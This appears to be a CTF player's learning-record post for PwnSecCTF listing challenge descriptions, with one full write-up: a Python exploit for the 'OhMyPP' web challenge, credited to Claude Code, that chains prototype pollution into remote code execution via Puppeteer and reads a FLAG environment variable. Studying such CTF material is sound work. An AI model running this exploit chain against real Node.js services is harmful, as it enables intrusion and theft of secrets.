251115_PwnSecCTF learning record

In the full-stack CTF player program, this article will be continuously updated with recreated learning content

Contact Authors

Discord

Attachments

Release 251115_PwnSecCTF · cvestone/cvestone.github.io · GitHub

EventInfo

image.png

ScoreBoard

My team 0xfun’s rank in this event - top 11:
image.png

crypto

Opera

Desc

Writer was too lazy to write a description, so here’s this video: https://www.youtube.com/watch?v=lVlgMEFu1PI
- @solaire

Key Points:


CuteLwe

Desc

I Love TEA. Like, how can u hate TEA? TEAFTW
- @ibrahim

Key Points:


Orbital Permutations

Desc

In a land of mysteriously rotating thingies, orbits keep shifting and permutations keep permuting. Find the orbit jumps, solve the permutations, and uncover the flag!
- @supasuge

Key Points:


Wordler

Desc

I want to challenge you to a game of wordle, with a small twist…
- @lombard

Key Points:


Afraid Of Aelmo

Desc

Aelmo rules Cyberville from a mirrored palace where voices are logged and wiped. You, a silent cryptographer, hide a tiny, untraceable key inside the city’s boot, no grand revolt, just a whisper of code that reclaims the network one muted heartbeat at a time.
- @lombard

Key Points:


3AM

Desc

https://www.youtube.com/watch?v=FtutLA63Cp8
- @ibrahim

Key Points:


reverse

Malayo

Desc

Under the sound of the wild, The Malayopython appears
- w3rty

Key Points:


Hexllz

Desc

I think IDA forgot some architecture.
- @rayan

Key Points:


jump

Desc

I don’t know, i just need to jump
- @ryuk

hints:

  • To defeat the obfuscation, you need to determine true/false opaque predicates and calculate the jmp value
  • The program will utilize seccomp to validate your input

Key Points:


z3r0-day-project

Desc

Our Security Operations Center (SOC) has flagged a suspicious event. An employee reported receiving a seemingly benign Excel spreadsheet, and shortly after, our network intrusion detection system (IDS) logged unusual outbound traffic from their workstation. We fear this was a multi-stage attack culminating in data theft. We have successfully captured the full packet capture from the suspected timeframe and have also recovered the initial lure file. Your task is to perform a full analysis of these two artifacts. You must reconstruct the attack chain, uncover the attacker’s methodology, and ultimately determine what data was exfiltrated.
- Nyx

Key Points:


pwn

Pet-Management

Desc

A simple pet management program — have fun exploring it!
- kuvee

Key Points:


pwn-web-app

Desc

Is it web?
- @cmdking

Key Points:


my_note

Desc

I made the note program safe… I think.
- @daeseong

Key Points:


jǫklum-skógar/mǫrk

Desc

  • the Mobile DEVKIT Unit was deployed as part of Rhine-Lab’s experimental command-control and communication suite for the Sami Expedition Initiative. using an ancient Android 7, it served as a field-grade testing platform for high-latency signal relays and environmental data synchronization.
    following an unexpected blizzard and the emergence of a high-energy anomaly within the Sami perimeter, all outbound transmissions have ceased and the research team’s current status is unknown.
    contained within the attachment are the full operational protocols and override access sequences for the DEVKIT.
    — — — End of Transmission — — —
    May Amma’s blessing guide your way, Dokutah~
    Download:
    https://master-platform-bucket.s3.us-east-1.amazonaws.com/challenge_resources/scien-document.zip
    Mirrors (Choose one):
    nc -v scien.pwnsec.team 1001
    nc -v scien.pwnsec.team 1002
    nc -v scien.pwnsec.team 1003
    nc -v scien.pwnsec.team 1004
    nc -v scien.pwnsec.team 1005
    - @muwa

Key Points:


misc

PyJail

Desc

Python sandbox challenge, Can you escape the jail?
- @Muhammed

Key Points:


MQTT_Traffic

Desc

MQTT is widely used in IoT because it is lightweight and works well on devices with low power, low bandwidth, and limited resources. This capture shows MQTT over TLS from a legacy gateway. The security team has identified that the TLS handshake uses an RSA key exchange. Can you recover the plaintext?
- @hiddenenv

Key Points:


Lucid Dream

Desc

I had a weird dream. Couldn’t make sense of it. Woke up and found this file under my pillow.
The data felt incomplete and encoded in multiple ways. If I could clean it up and learn from the patterns, perhaps the dream would reveal its meaning.
‘oh’ is an acronym. Also, c8 is missing. Coincidence? Also, I vividly remember the dream’s charset being ^[a-z0-9{}_]$
- @habema

hints:
‘oh’ is an acronym. Also, c8 is missing. Coincidence? Also, I vividly remember the dream’s charset being ^[a-z0-9{}_]$

Key Points:


Guarding The Rails

Desc

The tripwires are set. The guardrails are up. Don’t make a wrong move, or the alarm will sound.
- @habema

Key Points:


Babyjail()

Desc

Python Jail() .
- @Muhammed

Key Points:


PyDocs

Desc

A tiny terminal document manager powers an overconfident admin’s workflow.
- @Muhammed

Key Points:


forensics

HiddenData

Desc

Just chatting 
https://master-platform-bucket.s3.us-east-1.amazonaws.com/challenge_resources/HiddenData.zip
- @Abdullah

Key Points:


Sherlock

Desc

Our systems were compromised by a recent internal attack. Fortunately, our IT admin managed to get a network capture before the attacker deleted all his traces. Please perform a DFIR investigation to uncover what actually happened. Note: The flag is split into 3 parts: - Part one: What is the username of the first compromised user? - Part two: What is the final compromised user’s NTLM hash? - Part three: You have to get this last part on your own. This part contains the } wrapper of the flag. Flag format: flag{username_NTLNHash_lastPartOfTheFlag} (submit the first two parts in lowercase).
- @kujen

Key Points:


The Hound

Desc

Kuvee, our intern, got hacked as usual. Please answer the following questions to try and figure out what happened so kuvee doesn’t fall for it again! 
https://netorgft15219885-my.sharepoint.com/:u:/g/personal/fsaidi_intrinsic_security/ET9AnRYWEqtHvvmLqZd5WuQBCb0zpomEUqDmaqiyZJyMTA?e=RN0Ffc
- @kujen

Hints:

  • cat /usr/share/wordlists/rockyou.txt| head -650000 | tail -25000
  • the attack was a zero click attack. Means it required no user interactions of the target user. And would also require the attacker to have access to a shared directory with the target. Hope this helps.
  • Take a look at CVE-2025-50154, don’t get too deep in it but understand it. And pay close attention to the file extension used in it. An attacker would deliver it in a shared folder under C:/. Also the group name is DEVTEAM and the password is ‘!jerlynn.c!1’ . Solve it!

Key Points:


mobile

CuteFrida

Desc

This app is so cute yet so susy, isn’t it?
- @TK

Key Points:


RudeFrida

Desc

Say hello to RudeFrida, it is like your toxic ex who gaslighted you for loving her.
- @TK

Key Points:


FreakyFrida

Desc

It started as just another night at the lab. You opened Android Studio, loaded an APK, and whispered those famous words: “Let’s hook something simple…” Frida purred in the terminal. Everything seemed fine — until it wasn’t. Your screen flickered. Logcat went wild. The app whispered back. “Nice try, human.” Suddenly, “console.log(flag)” returned nothing. MainActivity crashed like your hopes of passing OSCP on the first try. You tried again, but the app laughed — a distorted sound echoing through JNI hell. “You think you can control me?” it taunted. Frida was no longer your tool; it had become the master. The app morphed, adapting to your every move. To retrieve the flag, you must outsmart the app’s new defenses. Can you break free from Frida’s grip and reclaim control? Note: they told me to use a Frida version lower than 17, and I totally agree with that advice, you should too.
- @TK

Key Points:


web

warmup(√)

Desc

Just a normal warmup challenge
here is the guest creds guest:guest123
the flag is in /flag.txt
- @qlashx

Key Points: IDOR、SSRF bypass


OhMyPP

Desc

simple web aPP 🧢
- @x6vrn

Key Points:


Notice:if want to deploy locally, need to ignore this static in Dockerfile:
image.png
or it will be failed like this:
image.png
Then manually configure it to ensure the original challenge settings are preserved:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#!/usr/bin/env python3
"""
OhMyPP CTF Challenge - Full Proof of Concept Exploit
=====================================================
Challenge: OhMyPP (Prototype Pollution to RCE)
Difficulty: Hard (485 points)
FLAG: flag{453421cf2389815d}

Vulnerability:
--------------
Undeclared global variable in index.js:49 enables prototype pollution:
reports = {}; // Missing var/let/const

Exploitation:
-------------
1. Pollute Object.prototype.executablePath via __proto__
2. Puppeteer reads polluted executablePath when launching browser
3. child_process.spawn() executes our malicious script instead of Chrome
4. Script has access to process.env.FLAG and exfiltrates it

Author: Solution by Claude Code
"""

import requests
import time
import sys

def banner():
print("="*70)
print("OhMyPP - Prototype Pollution to RCE Exploit")
print("="*70)
print()

def upload_malicious_script(target):
"""
Upload a bash script that writes FLAG to accessible location
The server automatically makes uploaded files executable (chmod 755)
"""
print("[Step 1] Uploading malicious executable...")

# Bash script that writes FLAG to static directory
malicious_script = '''#!/bin/bash
echo "$FLAG" > /app/static/flag_output.txt
chmod 644 /app/static/flag_output.txt
sleep 1
'''

try:
files = {'file': ('exploit.sh', malicious_script, 'application/x-sh')}
response = requests.post(
f"{target}/upload",
files=files,
timeout=30
)

if response.status_code != 200:
print(f" ✗ Upload failed: HTTP {response.status_code}")
print(f" Response: {response.text[:200]}")
return None

data = response.json()
uploaded_file = data['file']
file_path = f"/app/static/{uploaded_file}"

print(f" ✓ Uploaded successfully")
print(f" ✓ File path: {file_path}")
print(f" ✓ File ID: {uploaded_file}")

return file_path

except Exception as e:
print(f" ✗ Error: {e}")
return None

def pollute_prototype(target, file_path):
"""
Pollute Object.prototype.executablePath to point to our malicious script
When Puppeteer launches, it will execute our script instead of Chrome
"""
print("\n[Step 2] Polluting Object.prototype.executablePath...")

# Prototype pollution payload
payload = {
"username": "__proto__", # Triggers pollution
"issue": "executablePath", # Property to pollute
"description": file_path, # Our malicious script path
"url": "http://example.com" # Required but not important
}

print(f" → Setting Object.prototype.executablePath = {file_path}")

try:
response = requests.post(
f"{target}/report",
json=payload,
timeout=60
)

print(f" ✓ Pollution request sent (HTTP {response.status_code})")
print(f" ✓ Puppeteer will now execute our script instead of Chrome")

# The response will be an error because our script isn't a browser
# But that's expected - our script executes and writes the FLAG
result = response.json()
print(f" → Server response: {result.get('error', result.get('message', 'unknown'))}")

return True

except Exception as e:
print(f" ✗ Error: {e}")
return False

def retrieve_flag(target):
"""
Retrieve the FLAG that our malicious script wrote to the static directory
"""
print("\n[Step 3] Retrieving FLAG from /flag_output.txt...")

# Wait for script execution
print(" → Waiting 3 seconds for script execution...")
time.sleep(3)

try:
response = requests.get(
f"{target}/flag_output.txt",
timeout=10
)

if response.status_code == 200:
flag = response.text.strip()
return flag
else:
print(f" ✗ Failed to retrieve FLAG (HTTP {response.status_code})")
return None

except Exception as e:
print(f" ✗ Error: {e}")
return None

def exploit(target):
"""
Main exploit function
"""
banner()

print(f"Target: {target}")
print()

# Step 1: Upload malicious script
file_path = upload_malicious_script(target)
if not file_path:
print("\n[!] Exploit failed at step 1")
return None

# Small delay
time.sleep(1)

# Step 2: Pollute Object.prototype.executablePath
if not pollute_prototype(target, file_path):
print("\n[!] Exploit failed at step 2")
return None

# Step 3: Retrieve FLAG
flag = retrieve_flag(target)

if flag:
print()
print("="*70)
print("SUCCESS! FLAG CAPTURED!")
print("="*70)
print(f"FLAG: {flag}")
print("="*70)
return flag
else:
print("\n[!] Failed to retrieve FLAG")
return None

def main():
"""
Entry point
"""
# Default target
default_target = "https://fcacafd271f0acf5.chal.ctf.ae"

# Allow custom target via command line
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = default_target

# Run exploit
flag = exploit(target)

if flag:
print(f"\n[+] Exploitation successful!")
print(f"[+] FLAG: {flag}")
sys.exit(0)
else:
print("\n[!] Exploitation failed")
print("[!] This might be because:")
print(" - Instance is down or unreachable")
print(" - Instance was already exploited and broken")
print(" - Network connectivity issues")
sys.exit(1)

if __name__ == "__main__":
main()

FireLeak

Desc

Leaking with fire is it enough?
- @x6vrn

Key Points:


A Very Safe Locker Indeed

Desc

We upped our security since last year, and now our lockers are more exclusive than ever! The only thing we couldn’t quite work around is the master’s authority, can you get yourself a locker and trick him into giving you the secret flag?
- @moha09

Key Points:


A Very Safe Locker For Real Now

Desc

We upped our security since last year, and now our lockers are more exclusive than ever! The only thing we couldn’t quite work around is the master’s authority, can you get yourself a locker and trick him into giving you the secret flag? We have patched the unintended. Find the vulnerable source code from ‘A Very Safe Locker Indeed’ (with the unintended). Show me how you solve it now.
- @moha09

Key Points:


PSPD

Desc

They begged me not to do it, but I had to. Can you bring PwnSec’s Police Department to a clojure?
- @aelmo

Key Points:


MaxPayne

Desc

Not everything ages like fine wine.
- @Logan0x

Key Points:


MaxPayne Revenge

Desc

Not everything ages like fine wine. I mean it this time.
Download source code for previous challenge, “MaxPayne”. It does not affect the intended solve.
- @Logan0x

Key Points:


cloud

Pizza Hub

Desc

our genz intern built a cloud-based pizza-delivery app for our team, however our SOC reported that his account credentials were briefly exposed! Link: http://pizzahub.pwnsec.team/index.html Note: Fuzzing is strictly forbidden; it will not help you.
- @chxmxii

Key Points:


The Fall of the Great Wall

Desc

Can you pass the Great Wall’s defenses and retrieve the hidden artifact? https://greatwall.blob.core.windows.net/
- @CodeBreaker

Key Points:


fortress of solitude

Desc

Welcome to the sky version of the fortress of solitude, its heavily weaponized and not easily accessible. https://dokvw9cgkho3i.cloudfront.net/
- @CodeBreaker

Key Points: